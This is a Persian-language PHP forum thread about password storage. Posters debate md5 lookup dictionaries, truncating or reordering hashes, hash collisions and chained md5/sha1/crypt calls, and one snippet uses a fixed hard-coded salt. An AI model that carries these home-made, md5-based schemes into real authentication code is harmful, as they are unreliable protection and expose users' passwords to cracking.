1. شما میتونید چند خط از مقادیر داخل تابع hasher رو بردارید تا سرعت بالاتر و در نتیجه کاراکتر بازگشتی کمتر و کم حجم تری داشته باشید!
اما... باز هم ممکنه مزحک به نظر بیاد! اما...
2. اول باید بگم که ما فرض میگیریم در مثال زیر ، امنیت سخت افزاری 100% مطمئن هست و تنها راه به چالش کشیدن امنیت ، کار برنامه نویس هست!
فراتر از ساخت یک سایت معمولی نگاه کنید! درسته! فکرش رو بکنید که شما در حال ساخت وبسایتی برای ارتش کشور خودتون هستید و در این وبسایت محرمانه ترین اطلاعات ، از جمله [تعداد هواپیماهای نظامی ، تعداد موشک ها ، تعداد توپ ها و تانک ها ، تعداد سلاح های سبک و کشتار جمعی] نگهداری میشه! مسلما طراحی این وبسایت به افرادی داده میشه که همدیگر رو هیچ وقت نبینند و هر قسمت از سایت به یک نفر داده میشه تا بسازنش! چون با لو رفتن کدهای قسمتی از وبسایت توسط برنامه نویس به دشمن ، استفاده از بقیه سایت غیر ممکن هست و تمامی اطلاعات وبسایت لو نمیره! (شنیدید میگن طرف تمام تخم مرغ هاشو تو یه سبد نمیزاره؟!) خب... میبینیم که اینجور بحث ها ، سرعت باید فدای امنیت بشه! ممکنه زمان پردازش سایت بر روی یک ابر رایانه چند ثانیه طول بکشه و روی سرورهای معمولی که من و شما استفاده میکنیم ، چند ساعت و شاید روز! اما مسلما وقتی یک نامه محرمانه از طرف جاسوس ما در نیروهای دشمن ارسال بشه ، مثلا زمان و موقعیت جغرافیایی دقیق حضور یک فرد مهم در پایگاه ارتش دشمن به ما ارسال بشه ، ما فورا میفهمیم و در راس زمان ارسال شده اقدام به بمباران اون موقعیت جغرافیایی میکنیم... اما نیروی دشمن با فرض دونستن اینکه یک پیام محرمانه به ما ارسال شده و بر فرض که جاسوس اونها در نیروهای ما ، هش کلمه عبور جاسوس ما رو به دشمن بده ، با توجه به اینکه بدست آوردن کلمه عبور برای وارد شدن به بخش مثلا فرمانده ارتش ما ممکنه چندین ساعت زمان نیاز داشته باشه ، عملا ممکنه قبل از بدست آوردن کلمه عبور ، کار از کار بگذره و ...
پس نتیجه میگیریم که برای این کار هر چه الگوریتم هش رو بیشتر گسترش بدیم ، امنیت بالاتری خواهیم داشت... چون همونطور که گفتم ، در اینجور کارها سرعت باید فدای امنیت بشه!

در ضمن... چه اشکالی داره که یک سایت معمولی از امنیت بسیار بسیار بالایی برخوردار باشه؟!

این رو منم موافقم همونطور که گفتم باید همه چیز رو به اندازش خرج کرد! منم با شما موافقم بر حسب شرایط و جایی که کر داره انجام میشه باید تصمیم گرفت که چه چیز مناسبتره!
=====
داشت یادم میرفت ، الگوریتم هایی که اسمشون رو بردم ممکنه روی همه سرورها کار نکنه... پس بهتره مثلا وقتی میخواهید یه سیستمی بنویسید که نمیدونید روی چه سروری امتحان میشه و بعدا امکان داره سرور عوض بشه و دیگه نشه روی سرور جدید از الگوریتم whirlpool استفاده کرد ، پس عملا استفاده از وبسایت غیر ممکن میشه و دیگه هیچ کاربری نمیتونه وارد سایت بشه!
اما در مواردی مثل مثال 2 که امکان دسترسی به سرور و افزودن الگوریتم های جدید هست ، استفاده از الگوریتم هایی که موجود هست و میدونید در آینده در این الگوریتم ها امکان وجود نداشتن ندارند ، استفاده از این روش بسیار عالی هست!
=====

تابع جالبی بود مرسی!
خب دیگه ، خیلی حرف زدم!
خیلی کم اتفاق افتاده بود که 2 ساعت و خورده ای وقت برای ارسال یک پست در یک انجمن بزارم! و سر 4 خط نوشته افراد دیگه که به نظرم اشتباه بود ، 100 الی 200 خط تولید محتوای مفید(!) برای استفاده افراد دیگه بکنم!
نوشته اشتباه نبود! شمایه بار دیگه خون! بحث سر فرار از دیکشنری های md5 بود! نه حلقه ای برای بینهایت try!
همچنین تا حالا اتفاق نیوفتاده بود که اینچور ترفند ها رو به کسی بگم و به نظرم برنامه نویس باید خلاق باشه تا این ترفند ها به زهنش بیاد... بهر حال ، شاید این مطالب به درد کسی بخوره و نتیجه اش رو خودم هم ببینم!! (مثل همون استفاده در یک وبسایت مهم که امنیت نداشته باشه مثل این میمونه که کشور نداشته باشم!)

امیدوارم استفاده لازم رو ببرید!
با تشکر:)
مرسی از اطلاعات اما همونطور که گفتی برنامه نویس باید خلاق باشه! به اضافه این که آاهی داشته باشه! الگوریتم های زیادی داریم که میشه باهاشون کار کرد و کارهای جالبی هم کرد!
اما شرایط و برنامه نویس هست که تعیین میکنه چرا و چه جوری!
موفق باشید.
 
آخرین ویرایش:

my friend

Member
خواهش دوست من ! ما جمع شدیم که از هم استفاده کنیم!
بله حق با شماست طبق اصل لانه کبوتری هم که نگاه کنید حتما دو رشته داریم که هش یکسانی دارند. و مقدار احتمالش هم ضعیف بود! نه قوی! منظور اینه که بینهایتت خیلی باید خفن باشه!
در مورد اون دو تا رشته که برابر قرار دادی به نظرم یه مقدار گزینشی عمل کردی! من گفتم مثلا از کاراکتر 10 ام 15 تا رو بکشید بیرون!
ولی خوب بازم احتمال تکرار بالا میره! بحث سر این نبود که طرف یه برنامه ای بنویسه که حالات مختلف رو چک کنه! بحث من سر این بود که چه جوری مطمئن شید اگر دقت کنید اگر کسی مثلا md5 پسورد کاربر شما رو بدست اورد حالا به هر صورتی نتونه با اون md5 لوگین کنه! مثلا yc20895d565g67 این رشته رو هیچ دیکشنری ای برات بر نمیگردونه که چی بوده چون عملا یک رشته md5 نیست!
ممنون بابت جوابتون،

درسته ، هیچ دیکشنری md5 ای نمیتونه اون رو پیدا کنه ، اما...
اما باید بگم که من شدیدا به شانس اعتقاد دارم! و به این هم اعتقاد دارم که کسی که شانس داشته باشه ، ممکنه نه خود کلمه عبور رو ، بلکه رشته ای که md5 اش مشابه md5 کلمه عبور هست رو پیدا کنه! ما که نمیدونیم ، ممکنه طرف شانسی یه مقدار رو برای پسورد وارد کنه و شانسی این اتفاق بیفته(هرچند احتمالش کمه!)...
اما این احتمال وقتی بیشتر میشه که ما بیاییم و تعداد کاراکتر های هش رو کم کنیم... و فرقی هم نداره که از اول مقدار هش شده برداریم یا آخرش یا یکی مونده به آخر یا... چون احتمال اینکه این عدد تکراری در باید در همه موارد یکی هست!

راستی ، نمیدونی که من چقدر از این کبوتر و لانه اش و نمیدونم ، جبر بدم میاد! :green:
بگذریم...
البته اینجا لوگ کردن و محدود کردن try برای لوگین هم مطرح میشه! قرار نیست یه نفر مثلا تو یه فاصله زمانی کوتاه n بار برای لوگین تلاش کنه!
در کل اینجا بحث سر یه بار و 2 بار تکرار نیست قبول کنید که حالات تکرار خیلی زیاد هست! حالا md5 رو بزاریم کنار! فرض یه کلمه عبور داشته باشیم 10 حرفی(فرض کردیم که md5 نیست) حالا فرض کنیم کلمه عبور هم حرف تکراری نداره ! فرض کنیم فقط ار 32 حرف الفبایی کوچک هم درست شده تعداد حالات این کلمه عبور ساده که تکراری هم نبوده میشه:
32*31*30*29*28*27*26*25=14136595200
امیدوارم قبول داشته باشید که md5 شرایط اش از این هم خفن تره! ! و خوش شانسی ای هم باید در کار باشه!
اما بازم میگم هدف این بود که با md5 dictionery ها نشه کلمه عبور رو بدست آورد که خوب اون کاری که گفتم جواب گو هست!
اما خوب همونطور که گفتی کافی نیست! ولی باید یه مقدار هم به اعداد و ارقام و احتمالات و ... هم توجه کرد!
و:
آره همه این کار ها ممکنه حتی میتونید همه این رشته ها رو md5 اشون رو در بیاری و دیکشنری md5 خودت رو هم درست کنی! فقط امیدوارم به محدود بودن عمر آدمی هم توجه کنی
شانس...
وقتی صحبت از شانس میشه ، من به خدا پناه میبرم! :دی
بی شوخی... همونطور که میتونید تو شانس هیچ چیز مشخص نیست! ممکنه اولین چیزی رو که تست کنه درست در بیاد ... و ممکنه آخری درست باشه!
عالی بود استفاده کردیم ولی به نظرت یه مقدار سربار داده ی این تابع بالا نیست! 1024 کاراکتر یا همون 1024 بایت که میشه 1kb که اگر 1000 تا کاربر داشته باشی میشه 1MB ؟
چرا... و فقط برای مثال این رو نوشتم... چیزی که خودم همیشه استفاده میکنم ، 128 کاراکتر رو بر میگردونه... (مسلما نباید انتظار داشته باشید که چیزی که خودم استفاده میکنم رو اینجا بزارم!)
این رو منم موافقم همونطور که گفتم باید همه چیز رو به اندازش خرج کرد! منم با شما موافقم بر حسب شرایط و جایی که کر داره انجام میشه باید تصمیم گرفت که چه چیز مناسبتره!
و اگه کمی در مورد امنیت بلند پروازی کنیم ، بسیار بهتره!
تابع جالبی بود مرسی!
خواهش میکنم!
نوشته اشتباه نبود! شمایه بار دیگه خون! بحث سر فرار از دیکشنری های md5 بود! نه حلقه ای برای بینهایت try!
شرمنده... من خیلی وقت ها بابت انتخاب نادرست کلمات ، منظورم رو اشتباه میرسونم... بهرحال ، برای فرار از دیکشنری های md5 هم روش شما بنظرم درست نیست... چون از چاله در میاییم و میوفتیم تو چاه!
(در مورد شانس چی گفته بودم!؟!)
مرسی از اطلاعات اما همونطور که گفتی برنامه نویس باید خلاق باشه! به اضافه این که آاهی داشته باشه! الگوریتم های زیادی داریم که میشه باهاشون کار کرد و کارهای جالبی هم کرد!
اما شرایط و برنامه نویس هست که تعیین میکنه چرا و چه جوری!
موفق باشید.
درسته...
من همیشه سعی کردم کار رو با بیشترین امنیت انجام بدم. (دلیل اصلی خوندن پست های این تاپیک ، با توجه به اینکه خیلیهاش برای من تکراری بود ، همین برقراری امنیت بالاتر بود! چون گفتم شاید موارد ریز و درشتی رو بلد نباشم ، که همینطور هم بود!)
=====
راستی ، من استفاده از md5 تنها رو توصیه نمیکنم ، اما اگه میخواهید فقط از دست دیکشنری های md5 خلاص بشید و شانس داشتن طرف مقابل براتون اهمیتی نداره ، به جای استفاده از روشی که گفتید ، پیشنهاد میکنم که جای حروف رو عوض کنید! مثلا سه کاراکتر آخر رو بیارید اول و 7 تای اول رو ببرید وسط... اینطوری هم از دست دیکشنری های md5 خلاص میشید و هم احتمال تکرار به اندازه مقدار اولیه هست [یعنی 36^32 (همین مقداره دیگه؟)] و نه به اندازه روش شما!

بحث جالبی بود و استفاده کردم... بابت ایجاد تاپیک و پست های اون و تلاش شما هم متشکرم.
 

my friend

Member
یک نکته امنیتی بگم... این مورد رو تقریبا اکثر برنامه نویسان میدونند... اما ممکنه برای کسی که تازه برنامه نویسی رو شروع کرده باشه مفید باشه و جلوی خیلی از مشکلات احتمالا رو بگیره:

استفادا از if و elseif در برنامه هر چه بیشتر باشه ، احتمال ایجاد مشکل رو پایین میاره... یادمون باشه که در آخر ، از else استفاده کنیم:
PHP:
if($var == 'foo'){
	# if var equals foo
}elseif($var == 'bar'){
	# elseif var equals bar
}else{
	# else.. var is not equal to foo or bar
}
همچنین ، موقع استفاده از switch یادمون باشه که حتما مقدار default رو تعیین کنیم:
PHP:
switch ($i) {
case 0:
    echo "i equals 0";
    break;
case 1:
    echo "i equals 1";
    break;
case 2:
    echo "i equals 2";
    break;
default:
    echo "i is not equal to 0, 1 or 2";
}
# php.net
 
آخرین ویرایش:

irp30net

Member
md5 to English

از پست های واقعا مفیدتون ممنونم
اما در مورد md5 to English به نظر شما با دوبار md5 کردن یا مخلوط اون با sha1 (و حتی جابجایی چند کاراکتر بعد از این عملیات ترکیبی) بازم نیاز به اون همه کار هست؟
PHP:
// duplicate Hash password
	$password = md5($password);
	$password = md5($password);
// Hash Password agian
$password = md5( strrev(md5( $password) . $timestamp));
// Hash It again and again!
$code="abcdef123m";
$password = crypt($password,$code);
البته در کد بالا حجم بالا کدینگ در نظر گرفته نشده است و به این قدر کدینگ نیازی نیست!
 

my friend

Member
هر کس یه سلیقه ای داره و نظرش برای خودش محترمه...
من اونجوری میخوام کار کنم ، شما هم اینطوری کار کنید...
من اون کدهارو فقط به عنوان مثال گفتم ، وگرنه خودم هم اینقدر توابع هش رو با هم قاطی نمیکنم(چون سرعت پردازش صفحه رو کم میکنه)... شاید منظورم رو درست نرسوندم که همه با اون پستم مخالفت کردن (حتی توی پیام خصوصی!!)
منظور من از اون مثال ، فقط در موارد معدودی ، مثل پروژه هایی که امنیت باید 100% حفظ بشه بود ، مثل یک وبسایت نظامی یا ... تا فقط و فقط یک رشته برای ورود به بخش محافظت شده وجود داشته باشه ، نه بیشتر!
 
آخرین ویرایش:

جدیدترین ارسال ها

بالا